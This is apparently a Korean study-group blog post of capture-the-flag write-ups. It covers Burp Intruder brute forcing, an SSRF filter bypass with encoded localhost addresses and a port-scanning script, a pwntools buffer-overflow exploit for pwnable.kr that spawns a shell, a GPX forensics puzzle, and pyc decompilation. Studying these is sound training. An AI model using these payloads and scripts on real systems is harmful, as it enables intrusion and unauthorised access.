스터디 방식: 매주 워게임 문제 관련 개념 및 풀이 방법 공유
Web 1.
사물함 번호 - 알파벳 소문자/숫자 포함 4자리 랜덤 문자열
자물쇠 비밀번호 - 100이상 200이하 랜덤 정수
<처음 페이지>
코드 설명
try:
FLAG = open("./flag.txt", "r").read() # flag is here!
except:
FLAG = "[**FLAG**]"
flag는 flag.txt 파일에서 읽을 수 있음
rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits
for i in range(4):
rand_str += str(random.choice(alphanumeric))
rand_num = random.randint(100, 200)
alphanumeric 변수에 아스키로 된 소문자 + 정수 문자열이 저장됨
rand_str이라는 랜덤 문자열에 alphanumeric 문자열 중에서 랜덤으로 뽑아냄. 4번반복으로 4개의 랜덤 문자열 생성됨 (사물함 번호)
rand_num 랜덤 숫자 문자열에 100이상 200이하의 수 중에서 하나를 뽑음 (자물쇠 비밀번호)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
locker_num = request.form.get("locker_num", "")
password = request.form.get("password", "")
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
if locker_num == rand_str and password == str(rand_num):
return render_template("index.html", result = "FLAG:" + FLAG)
return render_template("index.html", result = "Good")
else:
return render_template("index.html", result = "Wrong!")
get, post 요청 처리
GET 요청 보내면 index.html 반환 => 즉, 첫 페이지 제공
POST 요청, 폼 제출 시 실행
사용자가 제출한 locker_num, password 값 html폼에서 가져옴 get() 함수 -> 값 없을 때 빈 문자열로 기본값 처리
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
if locker_num == rand_str and password == str(rand_num):
return render_template("index.html", result = "FLAG:" + FLAG)
return render_template("index.html", result = "Good")
else:
return render_template("index.html", result = "Wrong!")
locker_num이 빈 문자열이 아니고 rand_str 앞부분과 locker_num과 일치한지 확인
참
-> locker_num과 rand_str이 같고 password가 rand_num과 같은지 확인
(참->FLAG 반환
거짓 -> "Good" 반환)
거짓
-> "Wrong!" 반환
=>입력받은 값만큼 앞에서부터 하나씩 잘라서 비교.
rand_num이 "admin"이라면 locker_num=a부터 확인
=> Burp Suite 이용해 응답값 다른 하나 문자열 찾으면 사물함 번호, 자물쇠 번호 알아낼 수 있음
코드에서 서로 문자열을 비교했으므로 burp suite를 통해 구할 수 있다.
문제 풀이
Target 탭에서 공격 대상을 목적지를 정할 수 있다.
공격대상의 주소를 열었다.
<locker_num 구하기>
사물함 번호와 자물쇠 비밀번호에 임의의 값을 입력해 요청을 보냈다.
locker_num = abcd, password = 100
그 다음 요청을 Intruder로 보냈다.
Intruder의 Position 탭은 payload가 들어갈 위치를 지정하는 부분이다.
Brute Force 공격을 수행할 변수의 값 부분에 지정하면 된다.
즉, locker_num의 "abcd"에 [Add §]을 눌러 지정했다.
<Attack type 종류>
Sniper
: 하나의 payload 집합 사용해 -> 설정한 payload를 지정한 위치에 하나씩 삽입payload 집합 1, 2, 3
지정한 위치 A에 1, 2, 3 차례로 삽입
지정한 다음 위치 B에 1, 2, 3 삽입Battering ram
: 하나의 payload 집합 -> 설정한 payload를 지정한 위치에 모두 삽입payload 집합 1, 2, 3
지정 위치 A에 1, 지정 위치 B에 1
지정 위치 A에 2, 지정 위치 B에 2
지정 위치 A에 3, 지정 위치 B에 3Pitchfork
: 여러개의 payload 집합 -> 지정한 위치에 설정한 payload 삽입payload 집합1 : 1, 2, 3 / 페이로드 집합2 : 가, 나, 다
지정 위치 A에 1, 지정 위치 B에 가
지정 위치 A에 2, 지정 위치 B에 나
지정 위치 A에 3, 지정 위치 B에 다Cluster Bomb
: 여러개 payload 집합 -> 모든 위치에 설정한 payload 삽입payload 집합1 : 1, 2 / payload 집합2 : 가, 나
지정 위치 A에 1 지정 위치 B에 가
지정 위치 A에 2 지정 위치 B에 가
지정 위치 A에 1 지정 위치 B에 나
지정 위치 A에 2 지정 위치 B에 나
다시 문제로 돌아와서..
payload 값을 설정해준다.
payload 탭은 무작위로 대입할 값에 대한 payload 집합의 설정을 한다.
payload type을 Brute forcer로 설정하고
setting을 해준 뒤 공격을 시작한다.
Brute Force(무차별 대입 공격)
: 인증정보(사용자이름, 비밀번호)를 알아내기 위해 공격자가 반복적으로 사용자 이름과 비밀번호를 입력해 공격하는 방식
Payload Sets
:각 payload 집합에 대한 type 지정(Simple list, Runtime list, Numbers...)
Payload setting
: 해당 타입의 payload 집합에 대한 설정
Payload Processing
: 설정한 payload 집합이 삽입되기 전에 수행할 것에 대한 설정 해줌
(인코딩, 디코딩, 해시...)
공격 수행 중인 창
알파벳 "x"가 다른 payload와 다르게 length가 1951로 다른 것을 알 수 있다.
-> locker_num의 첫번째 문자를 찾았다.
다시 position에 돌아와 locker_num 맨 앞 값에 "x"를 추가했다.
그 다음 값 찾기 위해 공격 수행해 "u"를 찾음
이를 반복해서
최종적으로 locker_num을 구했다. (xus4)
<자물쇠 비밀번호 구하기>
아까와 비슷한 방법으로 공격
payload position을 password 값으로 지정한다.
자물쇠 비밀번호는 숫자이므로 payload type을 Numbers로 정하고
100이상 200이하 값으로 설정한다.
공격수행
나머지 payload와 다른 length를 발견함 (145)
Web 2.
SSRF란?
- Server Side Request Forgery로 서버 측에서 위조된 HTTP 요청을 발생시켜 직접적인 접근이 제한된 서버 내부 자원에 접근하여 외부로 데이터 유출 및 오동작을 유발하는 공격
- 접근이 제한된 내부환경에 공격이 가능하기 때문에 영향도가 높음
<문제 분석>
- 바로 코드 살펴봄
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "<http://localhost:8000>" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
- Image Viewer 함수를 통해 해당 경로에 있는 이미지 파일을 가져 오는 것을 알 수 있음
- flag가 ./flag.txt에 존재하기 때문에 Image Viewer 페이지에 flag.txt 입력해봄
- 에러 뜸
⇒ 코드 더 살펴보기
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
- url이 localhost 혹은 127.0.0.1인 경우에 error.png로 응답함
- localhost 검증을 통과하면 url주소로 요청한 결과를 img 형태로 생성하고 응답함
- 즉, 내부 네트워크에 접근하지 못하도록 막는 필터링임.
⇒ localhost / 127.0.0.1을 우회하여 접근하여야 함
local_port = random.randint(1500, 1800)
- 내부 네트워크는 1500~1800번 사이의 번호 중에 랜덤으로 선택되어 오프됨
⇒ 열리는 포트 번호를 찾아야 함
<공격 시나리오>
- localhost, 127.0.0.1 를 우회하여 접근
- http://vcap.me:8000/
- http://0x7f.0x00.0x00.0x01:8000/
- http://0x7f000001:8000/
- http://2130706433:8000/
- http://Localhost:8000/
- http://127.0.0.255:8000/
- 여러 우회 결과 중에 선택하여 진행
- 1500~1800번 포트 번호를 찾아야 함
- brute force 공격 수행하여 열린 포트를 찾아야 함
import requests
no = 'iVBORw0KGg'
for port in range(1500, 1801):
url = '<http://host3.dreamhack.games:9679/img_viewer>'
image_url= ':'+str(port)+'/flag.txt'
data = { "url" : image_url }
#닫혀있는지 열러있는지 판별
response = requests.post(url, data).text
if no in response:
print(str(port))
else:
print(str(port), 'find')
break
- Localhost+port로 localhost 필터링을 우회함
3. 2번에서 찾은 포트 번호를 활용하여 /flag.txt에 접근하여 flag 획득
Pwn.
[pwnable.kr] bof
확인
wget 명령어를 사용하여 문제와 관련된 파일 다운로드
cheacksec
32bit 아키텍처 (변수 하나당 4바이트)
bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
key 값으로 넘겨주는 0xdeadbeef와 if 문의 0xcafebabe가 같아야 쉘이 실행됨
gets 함수는 입력값이 지정되어 있지 않으므로 bof 발생
→ key 값(0xcafebabe)의 주소와 overflowme 주소 알아야 함
스택 구조
high | |
argv[1] | |
main ret | |
main sfp | |
0xdeadbeef | |
func ret | |
func sfp | |
char overflowme | |
low |
gdb
disass func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48 //72바이트만큼 할당
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25> //printf
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36> //gets
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57> //system
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71> //printf
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
lea : 값 대신 주소 넣음
→ gets 인자로 overflowme 들어가고 위치는 [ebp-0x2c] (ebp-44)
cmp 값 비교
→ 0xdeadbeef 값은 [ebp+0x8]에 위치
스택 구조
high | |
argv[1] | |
main ret | |
main sfp | |
ebp+0x8 → | 0xdeadbeef |
ebp+0x4 → | func ret |
func sfp(ebp) | |
dummy[12] | |
ebp-0x2c | overflowme[32] |
나머지[28] | |
low |
→ overflowme + dummy + func sfp)ebp) = 52
⇒ 52바이트 채운 후 key 값 입력하면 됨
익스플로잇
from pwn import *
p = remote("pwnable.kr" 9000)
payload = "A"*52 + "\\xbe\\xba\\xfe\\xca"
p.sendline(payload)
p.interactive()
flag : daddy, I just pwned a buFFer :)
pwntools 설치
[ubuntu-22.04] pwnable 세팅(vim, pwntools, pwndbg, checksec, gcc)
해당 자료 참고하여 세팅하면 됨
pwntools 명령어
from pwn import * #해당 명령어를 작성해야 pwntools를 사용할 수 있음
<접속 명령어>
명령어 설명
process | 로컬 바이너리에 대해서 익스플로잇을 실행할 때 사용하는 함수 |
로컬에서 문제 파일을 실행할 때 사용 | |
remote | 원격 서버 대상으로 실제 익스플로잇을 작동할 때 사용하는 함수 |
ssh | ssh를 통해서 접속하는 함수 |
process("filename")
p = process("./test")
remote("host", port)
p = remote("host3.dreamhack.gmaes", 12345)
<payload 전송>
명령어 설명
send | [./filename]에 “A” 입력 |
sendline | [./filename]에 “A” 입력 뒤에 개행문자(\N)까지 입력 |
sendafter | [./filename]가 “1234” 출력 시 “A” 입력 |
sendlineafter | [./filename]가 “1234” 출력 시 “A” + 개행문자(\n)까지 입력 |
from pwn import *
p = process("./test")
p.send("A")
p.sendline("A")
p.sendafter("1234", "A")
p.sendlineafter("1234", "A")
<데이터 받기>
명령어 설명
recv | (파일)이 출력하는 데이터 중 최대 n바이트의 데이터를 받기 |
recvline | (파일)이 출력하를 만날 때까지를 받기 |
recvn | (파일)이 출력하는 데이터 중 정확히 n바이트를 받기 |
recvuntil | 문자열을 (파일)이 출력할 때까지 받아서 출력 |
recvall | 연결이 끊어지거나 프로세스가 종료될 때까지 받기 |
from pwn import *
p = process("./test")
data = p.recv(1024) #데이터를 받아 data에 저장
data = p.recvline() #데이터를 받아 data에 저장
p.recvn(5) #데이터 중 5바이트 받기
print p.recvuntil("1234") #"1234" 문자열을 출력할 때까지 받아서 출력
print p.recvall()
<packing/unpacking>
from pwn import *
data32 = "0x41424343"
data64 = "0x4142434445464748"
#packing (little endian 방식)
print p32(data32)
print p64(data64)
-> output
DCBA
HGFEDCBA
data32 = "AAAA"
data64 = "AAAAAAAA"
#unpacking
print u32(data32)
print u64(data64)
-> output
0x44434241
0x4847464544434241
<Debug>
from pwn import *
p = process("./test")
gdb.attach(p) #payload 진행하는 도중 gdb 실행시킬 수 있음
<shell>
from pwn import *
p = process("./test")
p.interactive() #직접 화면에 입출력할 수 있음
*다시 봐보기(?)
from pwn import * #pwntools 사용하겠다
p = remote("pwnable.kr" 9000) #pwnable.kr 9000의 원격으로 접속하겠다
payload = "A"*52 + "\\xbe\\xba\\xfe\\xca" #52byte는 A로 채우고 주소 4바이트 입력하겠다
p.sendline(payload) #payload 입력 후 개행문자까지 입력
p.interactive() #쉘을 실행하여 직접 화면에 입출력하면서 flag 찾겠다
익스플로잇 exploit
익스플로잇(취약점 공격): 컴퓨터, 스마트 폰 등 전자 기기에 대한 보안 취약점을 이용하여 해커의 의도대로 공격하도록 설계됨 명령, 스크립트, 프로그램 등
*취약점 vs 익스플로잇
시스템의 보안이 약한 부분 = 취약점
취약점 이용하여 멀웨어, 악성코드 등의 방법으로 공격하는 액션 = 익스플로잇
페이로드 payload
사용에 있어 전송되는 데이터
전송의 목적이 되는 데이터의 일부분으로 함께 전송되는 헤더와 메타데이터와 같은 데이터는 제외
디버깅 Debug
모든 소프트웨어에서 소스 코드의 오류 또는 버그를 찾아서 수정하는 과정
Forensic.
http://xcz.kr/START/prob/prob22.php
Who’s NoteBook?
내친구 A는 어느날 출근길에 누군가 잃어버린 것 같은 노트북을 발견한다.
A는 이 노트북을 주인에게 찾아주고 싶지만 찾을 방법을 몰라서 포렌서인 나에게 노트북을 맡기게된다.
이 노트북의 주인을 찾아주자.
인증키 형식 : 출발지_거쳐가는곳(1곳)_최종도착지
인증키는 모두 대문자로, 띄어쓰기무시
예) PLACE1_PLACE2_PLACE3
그냥 파일이라고 나오고, 디스크 파일이 아니어서 이미지 분석 도구로는 따로 열리지 않았다.
- 그래서 HxD라는 도구로 열어주었다.
HxD란?
https://know0how.tistory.com/6
- 헥스 에디터(HxD와 같은)는 파일의 데이터를 16진수(헥스)로 표시하고 편집할 수 있는 도구이다. 헥스 값과 아스키 값은 포렌식에서 중요한 역할을 한다. 예를 들어, 파일의 구조나 데이터를 직접 분석하여 삭제된 파일을 복구하거나 악성코드를 식별할 수 있다. 파일 헤더를 수정하거나 데이터를 숨기는 등의 흔적도 이 값을 통해 발견할 수 있어 디지털 포렌식 조사에서 필수적인 도구이다.
- 헤더 부분에 AD SEGMENTED FILE 문자열이 있다. 이에 대해 구글링을 해서 관련 정보를 얻었다. ADSEGMENTEDFILE은 Access Data에서 지원하는 File Format이다. FTK Imager으로 Dump를 할 때 파일 확장자를 AD1으로 진행할 경우 만들어지는 파일이라고 한다. 따라서 이 파일의 확장자를 AD1으로 변경한 후 다시 FTK Imager로 열었다.
https://filext.com/file-extension/AD1
Desktop 디렉터리를 분석하던 중 다음과 같이 위도와 경도가 표시된 파일을 발견했다. 노트북이 거쳐간 장소에 대한 문제이므로 이 위치 정보가 중요하게 쓰일 것 같다. 그리고 메타데이터에는 관련된 툴의 정보가 있었다. 툴의 이름과 링크가 있어서 다음 링크로 이동해서 툴을 다운로드했다. 위치 정보에 대해 분석해야 하기 때문에 이 파일을 추출했다.
PLACE1: GONGDEOK
PLACE2: GIMPOINTERNATIONALAIRPORT
PLACE3: DONGBURENTACAR 라고 생각을 했는데 어쩐지 인증이 안 된다. JEJU까지 붙여서 해도 인증이 안 되길래 암만 봐도 답이 없어서 인터넷에 라업을 쳐 봤다. 나와 같은 상황인 분들이 굉장히 많은 것 같았다. 원래 마지막 위도와 경도를 입력하면 세븐일레븐의 위치가 떴다고 한다.
<?xml version="1.0" encoding="utf-8" ?>
- <gpx xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1.1" creator="ROUTEEDITOR1" xmlns="http://www.topografix.com/GPX/1/1">
- <metadata>
<desc>Created/Modified by using GPS Route Editor.</desc>
- <link href="http://www.gpsnote.net">
<text>GpsNote.NET</text>
</link>
</metadata>
- <trk>
- <trkseg>
- <trkpt lat="37.5437947027528" lon="126.950969696045">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5382821164321" lon="126.944274902344">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.527289755696" lon="126.933245658875">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5176913854431" lon="126.917538642883">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5173509950335" lon="126.916337013245">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5177935022632" lon="126.914019584656">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.518508316091" lon="126.91234588623">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5219120975217" lon="126.908440589905">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5222524671246" lon="126.907925605774">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5259964302733" lon="126.882820129395">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5241925442112" lon="126.877756118774">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5261325708474" lon="126.864495277405">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.524566939245" lon="126.852951049805">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.524566939245" lon="126.852307319641">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5247371181848" lon="126.851449012756">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5251455460562" lon="126.850633621216">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5260985357272" lon="126.84986114502">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5331775064364" lon="126.845784187317">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.542093330707" lon="126.8399477005">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.54553006224" lon="126.836686134338">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5499873691089" lon="126.83629989624">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5527773034198" lon="126.836428642273">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5578125302571" lon="126.838059425354">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5583568587256" lon="126.837887763977">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5589352033664" lon="126.837029457092">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5601599183755" lon="126.825442314148">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5604320745326" lon="126.819090843201">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5611804988386" lon="126.811838150024">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5613505942233" lon="126.809778213501">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.561112460576" lon="126.808748245239">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5595815832409" lon="126.805744171143">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5593774638863" lon="126.804242134094">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5602619770509" lon="126.802654266357">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5613165751774" lon="126.801280975342">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5619629343928" lon="126.801710128784">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5621670466642" lon="126.801452636719">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5622350839637" lon="126.799821853638">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5595475633873" lon="126.803297996521">
<ele>0</ele>
</trkpt>
- <trkpt lat="37.5586970619991" lon="126.802911758423">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5068613848029" lon="126.492966413498">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5065393312609" lon="126.49328827858">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5057341921629" lon="126.492547988892">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5048664227481" lon="126.491056680679">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5044549001904" lon="126.490799188614">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5041417838901" lon="126.490777730942">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5038376126851" lon="126.491013765335">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5034081926935" lon="126.491367816925">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5032471596474" lon="126.491614580154">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5032203207773" lon="126.491893529892">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5033276762079" lon="126.492204666138">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5044101693598" lon="126.494575738907">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5053137276567" lon="126.495884656906">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5054121344264" lon="126.49617433548">
<ele>0</ele>
</trkpt>
- <trkpt lat="33.5053674040904" lon="126.496775150299">
<ele>0</ele>
</trkpt>
파일 시그니처 모음
http://forensic-proof.com/archives/300
- 파일은 파일 자체로는 의미가 없다. 파일이 담고 있는 데이터를 유용하게 사용하기 위해서는 관련된 소프트웨어가 필요하다. 이러한 소프트웨어들은 각각 자신만의 고유한 파일 포맷을 만들어 사용한다. 따라서 어떤 파일을 읽을 수 있다면(혹은 실행할 수 있다면) 해당 파일 포맷을 해석할 수 있다는 의미이다. (텍스트 파일 제외)
- 그림 파일(JPEG, PNG, TIFF, GIF 등) 또한 파일 포맷 별로 고유한 포맷을 가지고 있다. 알씨와 같은 그래픽 뷰어 소프트웨어를 통해 해당 파일을 볼 수 있는 이유는 알씨 소프트웨어에서 각 그림 파일 포맷을 해석할 수 있도록 프로그래밍되어 있기 때문이다.
- 이처럼 파일들은 각각 고유한 포맷을 가지고 있는데 포맷의 기본이 되는 내용이 **파일 시그니처(File Signature)**이다. 파일 시그니처는 파일의 가장 처음에 위치하는 특정 바이트들도 파일 포맷을 구분하기 위해 사용한다. 예를 들어, JPEG 파일은 다음과 같이 “FF D8 FF E0″의 시그니처를 갖는다. JPEG의 경우 디지털카메라로 캡쳐한 파일과 구분하기 위해 “FF D8 FF E1” 시그니처도 사용한다.
Rev.
https://pctf.competitivecyber.club/scoreboard
https://file-extension.net/seeker/file_extension_pyc
PYC 파일을 생성한 PYTHON의 버전이 3.11이라는 것을 확인할 수 있다.
https://pypi.org/project/uncompyle6/
uncompyle6는 PYTHON 3.8 버전까지만 지원하기 때문에 다른 도구가 필요하다.
https://github.com/extremecoders-re/decompyle-builds/releases
최신 버전의 pycdc로 디컴파일을 진행하였지만, BEFORE_WITH 명령어로 인해 디컴파일을 실패하였다.
https://github.com/zrax/pycdc/issues/452
현재 PYC 코드에서 사용되는 BEFORE_WITH 바이트 코드가 디컴파일이 지원되지 않는 것을 확인할 수 있다.
https://www.youtube.com/watch?v=RTsMgC36xMU
해당 유튜브 영상에서는 3.11 버전으로 생성된 PYC 파일에 대해 pycdas로 바이트 코드를 추출하고, 바이트 코드를 생성형 AI에 넣어 디컴파일을 하였다.
pycdas를 통해 바이트 코드를 추출하였고, 아래와 같이 Cluade를 통해 pybyte 코드를 디컴파일했다.
import os
import secrets
from base64 import *
def promptGen():
def flipFlops(x):
return chr(ord(x) + 1)
with open('topsneaky.txt', 'rb') as f:
first = f.read()
bittys = secrets.token_bytes(len(first))
onePointFive = int.from_bytes(first) ^ int.from_bytes(bittys)
second = onePointFive.to_bytes(len(first))
third = b64encode(second).decode('utf-8')
bittysEnc = b64encode(bittys).decode('utf-8')
fourth = ''
for each in third:
fourth += flipFlops(each)
fifth = f"Mwahahaha you will n{fourth[:10]}ever crack into my pass{fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}"
return fifth
def main():
print(promptGen())
if __name__ == '__main__':
main()
- 'topsneaky.txt' 파일에서 바이너리 데이터를 읽는다.
- 원본 데이터와 같은 길이의 랜덤 바이트 시퀀스를 생성한다.
- 원본 데이터와 랜덤 키를 XOR 연산한다.
- XOR 결과를 Base64로 인코딩한다.
- Base64 인코딩된 문자열의 각 문자를 다음 문자(ascii + 1)로 변환한다.
- 변환된 문자열과 Base64로 인코딩된 랜덤 키를 포함한 메시지를 생성한다.
Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i'll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV
복호화코드는 다음과 같다.
import base64
def reverse_flip_flops(x):
return chr(ord(x) - 1)
def decode_password(encoded_message):
message_parts = encoded_message.split(":::: ")
encoded_password = message_parts[0].split("n")[1].split("ever")[0] + message_parts[0].split("pass")[1].split("word")[0]
encoded_key = message_parts[1]
reversed_password = ''.join(reverse_flip_flops(char) for char in encoded_password)
decoded_password = base64.b64decode(reversed_password)
decoded_key = base64.b64decode(encoded_key)
password_bytes = bytes(a ^ b for a, b in zip(decoded_password, decoded_key))
return password_bytes.decode('utf-8')
encoded_message = "Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i'll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
password = decode_password(encoded_message)
print("The decoded password (content of topsneaky.txt) is:", password)
- PYC 파일이란?
- 확장자: .pyc
- 목적: Python 인터프리터가 코드를 더 빠르게 실행할 수 있도록 함
- 생성: Python 스크립트(.py)가 처음 실행되거나 임포트될 때 자동으로 생성됨
- 내용: Python 바이트코드
- 장점: 실행 속도 향상, 소스 코드 일부 보호
- Python으로 컴파일된 바이트코드 파일
- pycdc(Python Bytecode Decompiler) 와 uncompyle6pycdc
- 손실된 소스 코드 복구에 유용
- Python 바이트코드 구조 이해에 도움
- 완벽한 소스 코드 복원은 불가능할 수 있음
- 일부 고급 기능이나 최적화된 코드는 제대로 역컴파일되지 않을 수 있음
- 높은 정확도의 역컴파일 결과
- 다양한 Python 버전 지원
- 지속적인 업데이트 및 커뮤니티 지원
- 일부 복잡한 코드나 최신 Python 기능에서는 완벽한 역컴파일이 어려울 수 있음
- 실행 시간이 길어질 수 있음
- Python 바이트코드(.pyc 파일)를 원본 Python 소스 코드(.py 파일)로 역컴파일하는 도구
- pycdc 와 pydas
- 주요 기능: Python 바이트코드(.pyc 파일)를 Python 소스 코드로 역컴파일
- 대상: .pyc 파일
- 출력: Python 소스 코드 (.py 파일)
- 사용 목적: 주로 소스 코드 복원 및 분석에 사용
- pycdc (Python Bytecode Decompiler)
- pydas (Python Disassembler)
- 주요 기능: Python 바이트코드를 어셈블리와 유사한 형태로 분해
- 대상: .pyc 파일 또는 메모리 내 Python 객체
- 출력: 바이트코드 명령어 목록 (어셈블리와 유사한 형태)
- 사용 목적: 주로 바이트코드 수준의 상세 분석 및 디버깅에 사용
- 출력 형태:
- pycdc: 고수준 Python 소스 코드
- pydas: 저수준 바이트코드 명령어
- 사용 목적:
- pycdc: 소스 코드 복원 및 이해
- pydas: 바이트코드 수준의 상세 분석
- 분석 깊이:
- pycdc: 고수준 코드 구조와 로직 파악
- pydas: 저수준 명령어 흐름과 최적화 분석
- 사용자 대상:
- pycdc: 일반 개발자, 리버스 엔지니어
- pydas: Python 인터프리터 개발자, 고급 디버거
https://dreamhack.io/wargame/challenges/764
'4-1. 2024-2 심화 스터디 > 워게임 도장 깨기' 카테고리의 다른 글
[6주차] 241111 워게임 도장 깨기 (2) | 2024.11.15 |
---|---|
[5주차] 2411104 워게임 도장 깨기 (4) | 2024.11.09 |
[4주차] 241028 워게임 도장 깨기 (1) | 2024.10.31 |
[3주차] 241001 워게임 도장 깨기 (10) | 2024.10.01 |
[1주차] 240920 워게임 도장 깨기 (0) | 2024.09.20 |